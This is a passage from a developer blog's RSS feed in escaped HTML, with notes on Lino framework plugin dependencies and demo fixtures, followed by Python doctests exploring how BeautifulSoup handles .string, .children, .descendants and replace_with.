no longer declare &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.noi.html#module-lino_noi.lib.noi" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.noi&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; as needed.&lt;/p&gt;
&lt;p&gt;I commented out the &lt;cite&gt;needs_plugins = [‘lino_noi.lib.noi’]&lt;/cite&gt; in
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_noi.lib.cal.html#module-lino_noi.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Plugin&lt;/span&gt;
&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;Pugin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Plugin&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# needs_plugins = [&amp;#39;lino_noi.lib.noi&amp;#39;]&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This had the unwanted side effect of reactivating the &lt;cite&gt;needs_plugins&lt;/cite&gt; of
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.cal.html#module-lino_xl.lib.cal" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cal&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (but I understood this only later).&lt;/p&gt;
&lt;p&gt;I think that my fundamental mistake was to increase the complexity of the noi
demo fixture.&lt;/p&gt;
&lt;p&gt;So I now load the screenshots in a new demo2 fixture of noi.&lt;/p&gt;
&lt;p&gt;En passant I changed the xl cal plugin to no longer need checkdata and linod.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/0210.html</guid><pubDate>Mon, 10 Feb 2025 00:00:00 +0000</pubDate></item><item><title>Saturday, February 8, 2025</title><link>https://luc.lino-framework.org/blog/2025/0208.html</link><description>&lt;section id="saturday-february-8-2025"&gt;
&lt;h1&gt;Saturday, February 8, 2025&lt;a class="headerlink" href="#saturday-february-8-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;bs4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;pprint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pprint&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&amp;#39;&amp;lt;p&amp;gt;The &amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;quick&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;, brown fox jumps over a lazy dog.&amp;lt;/p&amp;gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="c1"&gt;# soup = BeautifulSoup(html, &amp;quot;html.parser&amp;quot;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lxml&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;None&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;The &amp;#39;, &amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;quick&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;, &amp;#39;, brown fox jumps over a lazy dog.&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;pprint&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="go"&gt;[&amp;lt;class &amp;#39;bs4.element.NavigableString&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;bs4.element.Tag&amp;#39;&amp;gt;,&lt;/span&gt;
&lt;span class="go"&gt; &amp;lt;class &amp;#39;bs4.element.NavigableString&amp;#39;&amp;gt;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;b&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;lt;b&amp;gt;quick&amp;lt;/b&amp;gt;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;quick&amp;#39;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;class &amp;#39;bs4.element.NavigableString&amp;#39;&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="vm"&gt;__class__&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;class &amp;#39;bs4.element.NavigableString&amp;#39;&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;quick&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;quick&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;quick&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;quick&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;quick&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;b&amp;gt;quick&amp;lt;/b&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;foo&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;foo&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;bar&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;p&amp;gt;Before &amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt; and after.&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lxml&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;descendants&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;Before &amp;#39;, &amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;, &amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;, &amp;#39;bar&amp;#39;, &amp;#39; and after.&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;None&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;Before &amp;#39;, &amp;lt;a href=&amp;quot;foo&amp;quot;&amp;gt;&amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;, &amp;#39; and after.&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;a&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;bar&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;lt;b&amp;gt;bar&amp;lt;/b&amp;gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;lt;p&amp;gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lxml&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;unused&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace_with&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;lt;p&amp;gt;foo&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;p&amp;gt;A &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;&lt;/span&gt;&lt;span class="se"&gt;\n\n&lt;/span&gt;&lt;span class="s2"&gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;features&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;lxml&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;find&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;p&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;#39;A &amp;#39;, &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
